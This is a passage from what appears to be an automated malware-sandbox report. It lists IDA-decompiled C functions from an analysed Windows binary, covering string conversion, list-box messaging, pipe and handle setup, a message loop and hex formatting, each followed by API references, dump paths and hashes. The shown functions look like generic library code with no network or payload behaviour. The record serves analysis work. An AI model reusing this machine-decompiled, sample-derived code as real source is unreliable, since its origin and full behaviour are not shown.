                                                                                                                                                                            0x004238e9
                                                                                                                                                                            0x004238eb
                                                                                                                                                                            0x004238ee
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004238ee
                                                                                                                                                                            0x0042388b
                                                                                                                                                                            0x0042388e
                                                                                                                                                                            0x00423890
                                                                                                                                                                            0x00423896
                                                                                                                                                                            0x00423896
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00423866
                                                                                                                                                                            0x00423866
                                                                                                                                                                            0x0042386b
                                                                                                                                                                            0x0042386f
                                                                                                                                                                            0x0042386f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042386b
                                                                                                                                                                            0x00423864

                                                                                                                                                                            APIs
                                                                                                                                                                            • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                                                                                            • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                            • String ID: pYhv@hhv
                                                                                                                                                                            • API String ID: 3058430110-613977542
                                                                                                                                                                            • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                            • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                                                                                            • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                            • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 90%
                                                                                                                                                                            			E004692E4(void* __ecx, void* __eflags, intOrPtr _a4) {
				struct HWND__* _v0;
				int _v4;
				char _v20;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t20;
				int _t23;
				long _t26;
				signed int _t27;
				long _t29;
				long _t31;
				struct HWND__* _t32;
				void* _t38;
				intOrPtr _t41;
				signed int _t52;
				int _t55;
				char* _t57;
				char* _t58;
				int _t59;
				void* _t68;

				_t60 = _a4;
				_t57 =  &_v20;
				E00401B70(_t38, L"ComboBox", _t57, __eflags);
				_push(_t57);
				_t17 = E004689B5(__eflags, _a4);
				_t39 = _t17;
				E00402620(_t57);
				if(_t17 == 0) {
					_t58 =  &_v24;
					E00401B70(_t39, L"ListBox", _t58, __eflags);
					_push(_t58);
					_t20 = E004689B5(__eflags, _t60);
					E00402620(_t58);
					__eflags = _t20;
					if(__eflags == 0) {
						goto L8;
					} else {
						_t23 = 0x188;
						_t6 = _t23 + 2; // 0x18a
						_t55 = _t6;
						_v4 = 0x189;
						goto L4;
					}
				} else {
					_t23 = 0x147;
					_t3 = _t23 + 2; // 0x149
					_t55 = _t3;
					_v0 = 0x148;
					L4:
					_t41 =  *0x482650;
					_t59 = SendMessageW(_v0, _t23, 0, 0);
					if(_t59 == 0xffffffff) {
						L8:
						return 0;
					} else {
						_t26 = SendMessageW(_v0, _t55, _t59, 0);
						_t68 = _t26 - 0xffffffff;
						if(_t68 == 0) {
							goto L8;
						} else {
							_t27 = _t26 + 0x101;
							_t52 = _t27 * 2 >> 0x20;
							_push( ~(0 | _t68 > 0x00000000) | _t27 * 0x00000002);
							_t29 = E0041171A(_t41, _t55, _t68);
							_t56 = _t29;
							_t31 = SendMessageW(_v0, _v4, _t59, _t29);
							_t69 = _t31 - 0xffffffff;
							_t32 = _v0;
							if(_t31 != 0xffffffff) {
								E004021E0(_t32, _t41, _t52, _t56);
								E004112EF(_t41, _t52, _t56, _t59, __eflags, _t56);
								return 1;
							} else {
								E004021E0(_t32, _t41, _t52, 0x4848e8);
								E004112EF(_t41, _t52, _t56, _t59, _t69, _t56);
								goto L8;
							}
						}
					}
				}
			}



























                                                                                                                                                                            0x004692e9
                                                                                                                                                                            0x004692f4
                                                                                                                                                                            0x004692f8
                                                                                                                                                                            0x004692fd
                                                                                                                                                                            0x004692ff
                                                                                                                                                                            0x00469306
                                                                                                                                                                            0x00469308
                                                                                                                                                                            0x0046930f
                                                                                                                                                                            0x00469328
                                                                                                                                                                            0x0046932c
                                                                                                                                                                            0x00469331
                                                                                                                                                                            0x00469333
                                                                                                                                                                            0x0046933c
                                                                                                                                                                            0x00469341
                                                                                                                                                                            0x00469343
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469349
                                                                                                                                                                            0x00469349
                                                                                                                                                                            0x0046934e
                                                                                                                                                                            0x0046934e
                                                                                                                                                                            0x00469351
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469351
                                                                                                                                                                            0x00469311
                                                                                                                                                                            0x00469311
                                                                                                                                                                            0x00469316
                                                                                                                                                                            0x00469316
                                                                                                                                                                            0x00469319
                                                                                                                                                                            0x00469359
                                                                                                                                                                            0x0046935c
                                                                                                                                                                            0x0046936a
                                                                                                                                                                            0x0046936f
                                                                                                                                                                            0x004693c9
                                                                                                                                                                            0x004693d2
                                                                                                                                                                            0x00469371
                                                                                                                                                                            0x00469379
                                                                                                                                                                            0x0046937b
                                                                                                                                                                            0x0046937e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469380
                                                                                                                                                                            0x00469382
                                                                                                                                                                            0x0046938c
                                                                                                                                                                            0x00469395
                                                                                                                                                                            0x00469396
                                                                                                                                                                            0x004693a1
                                                                                                                                                                            0x004693ab
                                                                                                                                                                            0x004693ad
                                                                                                                                                                            0x004693b0
                                                                                                                                                                            0x004693b4
                                                                                                                                                                            0x004693d6
                                                                                                                                                                            0x004693dc
                                                                                                                                                                            0x004693ed
                                                                                                                                                                            0x004693b6
                                                                                                                                                                            0x004693bb
                                                                                                                                                                            0x004693c1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004693c6
                                                                                                                                                                            0x004693b4
                                                                                                                                                                            0x0046937e
                                                                                                                                                                            0x0046936f

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                                                                                            • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$_wcslen
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 763830540-1403004172
                                                                                                                                                                            • Opcode ID: 82ab0c16d7b0e5ee92c7fa8c433398808ced2706006bb1d3c857bb934589693b
                                                                                                                                                                            • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                                                                                            • Opcode Fuzzy Hash: 82ab0c16d7b0e5ee92c7fa8c433398808ced2706006bb1d3c857bb934589693b
                                                                                                                                                                            • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00443981(signed int* _a4, signed int _a8, long _a12, void* _a16, HANDLE* _a20) {
				struct _SECURITY_ATTRIBUTES _v12;
				signed int _t17;
				void* _t18;
				void* _t20;
				void* _t24;
				void* _t27;
				signed int _t28;
				long _t30;
				HANDLE* _t35;

				_t17 =  *_a4;
				_t30 = _a12;
				_t35 = _a16;
				_v12.nLength = 0xc;
				_v12.bInheritHandle = 0;
				_v12.lpSecurityDescriptor = 0;
				if((_t17 & 0x00000010) == 0) {
					if((_a8 & _t17) == 0) {
						_t18 = GetStdHandle(_t30);
						 *_t35 = _t18;
						if(_t18 == 0 || _t18 == 0xffffffff) {
							_t20 = CreateFileW("nul", 0x40000000, 2,  &_v12, 3, 0x80, 0);
							 *_t35 = _t20;
							if(_t20 == 0xffffffff || _t20 == 0) {
								goto L3;
							} else {
								goto L10;
							}
						} else {
							goto L2;
						}
					} else {
						_t27 =  *_t35;
						if(_t27 == 0) {
							_t28 = CreatePipe(_a20, _t35,  &_v12, 0);
							if(_t28 != 0) {
								L10:
								E0043569D( *_t35,  &_a16, 1);
								E004356CD(_t35);
								_t24 = _a16;
								 *_t35 = _t24;
								return _t24;
							} else {
								return _t28 | 0xffffffff;
							}
						} else {
							return _t27;
						}
					}
				} else {
					_t18 = GetStdHandle(_t30);
					 *_t35 = _t18;
					if(_t18 == 0xffffffff) {
						L3:
						 *_t35 = 0;
						return  *_t35;
					} else {
						L2:
						E0043569D(_t18, _t35, 1);
						return  *_t35;
					}
				}
			}












                                                                                                                                                                            0x00443988
                                                                                                                                                                            0x0044398a
                                                                                                                                                                            0x0044398f
                                                                                                                                                                            0x00443993
                                                                                                                                                                            0x0044399b
                                                                                                                                                                            0x004439a3
                                                                                                                                                                            0x004439ad
                                                                                                                                                                            0x00443a6c
                                                                                                                                                                            0x00443a07
                                                                                                                                                                            0x00443a0d
                                                                                                                                                                            0x00443a11
                                                                                                                                                                            0x00443a32
                                                                                                                                                                            0x00443a38
                                                                                                                                                                            0x00443a3d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00443a6e
                                                                                                                                                                            0x00443a6e
                                                                                                                                                                            0x00443a72
                                                                                                                                                                            0x004439f2
                                                                                                                                                                            0x004439fa
                                                                                                                                                                            0x00443a43
                                                                                                                                                                            0x00443a4d
                                                                                                                                                                            0x00443a53
                                                                                                                                                                            0x00443a58
                                                                                                                                                                            0x00443a5f
                                                                                                                                                                            0x00443a65
                                                                                                                                                                            0x004439fc
                                                                                                                                                                            0x00443a03
                                                                                                                                                                            0x00443a03
                                                                                                                                                                            0x00443a7c
                                                                                                                                                                            0x00443a7c
                                                                                                                                                                            0x00443a7c
                                                                                                                                                                            0x00443a72
                                                                                                                                                                            0x004439b3
                                                                                                                                                                            0x004439b4
                                                                                                                                                                            0x004439ba
                                                                                                                                                                            0x004439bf
                                                                                                                                                                            0x004439d6
                                                                                                                                                                            0x004439d6
                                                                                                                                                                            0x004439e2
                                                                                                                                                                            0x004439c1
                                                                                                                                                                            0x004439c1
                                                                                                                                                                            0x004439c5
                                                                                                                                                                            0x004439d3
                                                                                                                                                                            0x004439d3
                                                                                                                                                                            0x004439bf

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,766DF560,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                              • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                            • String ID: nul
                                                                                                                                                                            • API String ID: 2124370227-2873401336
                                                                                                                                                                            • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                            • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                                                                                            • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                            • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00443887(signed char* _a4, void* _a8, HANDLE* _a12) {
				struct _SECURITY_ATTRIBUTES _v12;
				signed char _t15;
				void* _t16;
				void* _t18;
				void* _t22;
				void* _t25;
				signed int _t26;
				HANDLE* _t32;

				_t15 =  *_a4;
				_t32 = _a8;
				_v12.nLength = 0xc;
				_v12.bInheritHandle = 0;
				_v12.lpSecurityDescriptor = 0;
				if((_t15 & 0x00000010) == 0) {
					if((_t15 & 0x00000001) == 0) {
						_t16 = GetStdHandle(0xfffffff6);
						 *_t32 = _t16;
						if(_t16 == 0 || _t16 == 0xffffffff) {
							_t18 = CreateFileW("nul", 0x80000000, 1,  &_v12, 3, 0x80, 0);
							 *_t32 = _t18;
							if(_t18 == 0xffffffff || _t18 == 0) {
								goto L3;
							} else {
								goto L10;
							}
						} else {
							goto L2;
						}
					} else {
						_t25 =  *_t32;
						if(_t25 == 0) {
							_t26 = CreatePipe(_t32, _a12,  &_v12, 0);
							if(_t26 != 0) {
								L10:
								E0043569D( *_t32,  &_a8, 1);
								E004356CD(_t32);
								_t22 = _a8;
								 *_t32 = _t22;
								return _t22;
							} else {
								return _t26 | 0xffffffff;
							}
						} else {
							return _t25;
						}
					}
				} else {
					_t16 = GetStdHandle(0xfffffff6);
					 *_t32 = _t16;
					if(_t16 == 0xffffffff) {
						L3:
						 *_t32 = 0;
						return  *_t32;
					} else {
						L2:
						E0043569D(_t16, _t32, 1);
						return  *_t32;
					}
				}
			}











                                                                                                                                                                            0x0044388e
                                                                                                                                                                            0x00443891
                                                                                                                                                                            0x00443895
                                                                                                                                                                            0x0044389d
                                                                                                                                                                            0x004438a5
                                                                                                                                                                            0x004438af
                                                                                                                                                                            0x0044396e
                                                                                                                                                                            0x0044390b
                                                                                                                                                                            0x00443911
                                                                                                                                                                            0x00443915
                                                                                                                                                                            0x00443936
                                                                                                                                                                            0x0044393c
                                                                                                                                                                            0x00443941
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00443970
                                                                                                                                                                            0x00443970
                                                                                                                                                                            0x00443974
                                                                                                                                                                            0x004438f5
                                                                                                                                                                            0x004438fd
                                                                                                                                                                            0x00443947
                                                                                                                                                                            0x00443951
                                                                                                                                                                            0x00443957
                                                                                                                                                                            0x0044395c
                                                                                                                                                                            0x00443963
                                                                                                                                                                            0x00443969
                                                                                                                                                                            0x004438ff
                                                                                                                                                                            0x00443906
                                                                                                                                                                            0x00443906
                                                                                                                                                                            0x0044397e
                                                                                                                                                                            0x0044397e
                                                                                                                                                                            0x0044397e
                                                                                                                                                                            0x00443974
                                                                                                                                                                            0x004438b5
                                                                                                                                                                            0x004438b7
                                                                                                                                                                            0x004438bd
                                                                                                                                                                            0x004438c2
                                                                                                                                                                            0x004438d9
                                                                                                                                                                            0x004438d9
                                                                                                                                                                            0x004438e5
                                                                                                                                                                            0x004438c4
                                                                                                                                                                            0x004438c4
                                                                                                                                                                            0x004438c8
                                                                                                                                                                            0x004438d6
                                                                                                                                                                            0x004438d6
                                                                                                                                                                            0x004438c2

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,766DF560,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                              • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                            • String ID: nul
                                                                                                                                                                            • API String ID: 2124370227-2873401336
                                                                                                                                                                            • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                            • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                                                                                            • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                            • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 95%
                                                                                                                                                                            			E00443009(intOrPtr _a4) {
				struct tagMSG _v28;
				void* __ebx;
				int _t28;
				intOrPtr _t41;

				_t41 = _a4;
				if( *0x49728b != 0 ||  *0x4a8410 != 0 &&  *(_t41 + 0xf8) == 0) {
					return 0;
				} else {
					_t28 = 1;
					if(PeekMessageW( &_v28, 0, 0, 0, 1) != 0) {
						while(_v28.message != 0x12) {
							if(E0040D280(0x4a83d8,  &_v28) == 0) {
								if(E0040D2A0(0x4a83d8,  &_v28) == 0) {
									TranslateMessage( &_v28);
									DispatchMessageW( &_v28);
								}
								_t28 = 1;
							}
							if(PeekMessageW( &_v28, 0, 0, 0, _t28) != 0) {
								continue;
							} else {
							}
							goto L14;
						}
						 *(_t41 + 0xfc) = _t28;
						 *(_t41 + 0xf8) = _t28;
					}
					L14:
					if( *0x49728e == _t28) {
						 *0x497294 = 0;
						 *0x49728e = 0;
						 *(_t41 + 0xf8) = _t28;
					}
					if( *(_t41 + 0xf8) != _t28) {
						asm("sbb eax, eax");
						return  ~( *0x497294 & 0x000000ff) & 0x0000000b;
					} else {
						return _t28;
					}
				}
			}







                                                                                                                                                                            0x00443014
                                                                                                                                                                            0x00443018
                                                                                                                                                                            0x00443032
                                                                                                                                                                            0x00443035
                                                                                                                                                                            0x0044303d
                                                                                                                                                                            0x00443052
                                                                                                                                                                            0x00443059
                                                                                                                                                                            0x00443071
                                                                                                                                                                            0x00443084
                                                                                                                                                                            0x0044308b
                                                                                                                                                                            0x00443096
                                                                                                                                                                            0x00443096
                                                                                                                                                                            0x0044309c
                                                                                                                                                                            0x0044309c
                                                                                                                                                                            0x004430b1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004430b3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004430b1
                                                                                                                                                                            0x004430b5
                                                                                                                                                                            0x004430bb
                                                                                                                                                                            0x004430bb
                                                                                                                                                                            0x004430c1
                                                                                                                                                                            0x004430c7
                                                                                                                                                                            0x004430c9
                                                                                                                                                                            0x004430d0
                                                                                                                                                                            0x004430d7
                                                                                                                                                                            0x004430d7
                                                                                                                                                                            0x004430e3
                                                                                                                                                                            0x004430fa
                                                                                                                                                                            0x00443104
                                                                                                                                                                            0x004430e5
                                                                                                                                                                            0x004430ed
                                                                                                                                                                            0x004430ed
                                                                                                                                                                            0x004430e3

                                                                                                                                                                            APIs
                                                                                                                                                                            • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                                                                                            • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                                                                                            • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                                                                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Message$Peek$DispatchTranslate
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 1795658109-438819550
                                                                                                                                                                            • Opcode ID: b19940840b651d13cfc04ca41c5114d53f5c804e5001d4718e9bc3487643e911
                                                                                                                                                                            • Instruction ID: 84c9885b6e4fc552d1ee54f35d8b145f1ad41c27ed561efbb95b3f0e56ffebd7
                                                                                                                                                                            • Opcode Fuzzy Hash: b19940840b651d13cfc04ca41c5114d53f5c804e5001d4718e9bc3487643e911
                                                                                                                                                                            • Instruction Fuzzy Hash: FE2138715183419EF720DF289C80FA377949B60B05F048ABFF66492191E6B9D608C76E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 90%
                                                                                                                                                                            			E0040F790(void* __edi) {
				char _v12;
				char _v16;
				char _v24;
				void* __esi;
				void* _t12;
				void* _t25;
				unsigned int* _t27;
				void* _t42;
				void* _t45;
				signed int _t47;
				void* _t49;
				void* _t50;

				_t42 = __edi;
				_t49 = (_t47 & 0xfffffff8) - 0x10;
				_t27 = __edi + 0x44;
				E0040F850(_t27,  &_v12, 8);
				_t33 =  *_t27 >> 0x00000003 & 0x0000003f;
				if(( *_t27 >> 0x00000003 & 0x0000003f) >= 0x38) {
					_t12 = 0x78;
				} else {
					_t12 = 0x38;
				}
				_push(0x492388);
				E0040F700(_t12 - _t33, _t42);
				_push( &_v16);
				E0040F700(8, _t42);
				_t44 = _t42 + 0x34;
				E0040F850(_t42 + 0x34, _t42, 0x10);
				E004131F0(_t42, _t27, 0, 8);
				E004131F0(_t42, _t44, 0, 0x10);
				E004131F0(_t42, _t42 + 0x4c, 0, 0x40);
				_t28 = _t42 + 0x10;
				_t50 = _t49 + 0x24;
				 *((char*)(_t42 + 0x10)) = 0;
				_t45 = 0;
				do {
					E00415258( *(_t45 + _t42) & 0x000000ff, _t42, _t45,  &_v24, "%02X",  *(_t45 + _t42) & 0x000000ff);
					_t25 = E004139A0(_t28,  &_v24);
					_t45 = _t45 + 1;
					_t50 = _t50 + 0x14;
				} while (_t45 < 0x10);
				return _t25;
			}















                                                                                                                                                                            0x0040f790
                                                                                                                                                                            0x0040f796
                                                                                                                                                                            0x0040f79a
                                                                                                                                                                            0x0040f7a9
                                                                                                                                                                            0x0040f7b3
                                                                                                                                                                            0x0040f7b9
                                                                                                                                                                            0x0042a349
                                                                                                                                                                            0x0040f7bf
                                                                                                                                                                            0x0040f7bf
                                                                                                                                                                            0x0040f7bf
                                                                                                                                                                            0x0040f7c6
                                                                                                                                                                            0x0040f7cd
                                                                                                                                                                            0x0040f7d6
                                                                                                                                                                            0x0040f7de
                                                                                                                                                                            0x0040f7e3
                                                                                                                                                                            0x0040f7ef
                                                                                                                                                                            0x0040f7f9
                                                                                                                                                                            0x0040f803
                                                                                                                                                                            0x0040f810
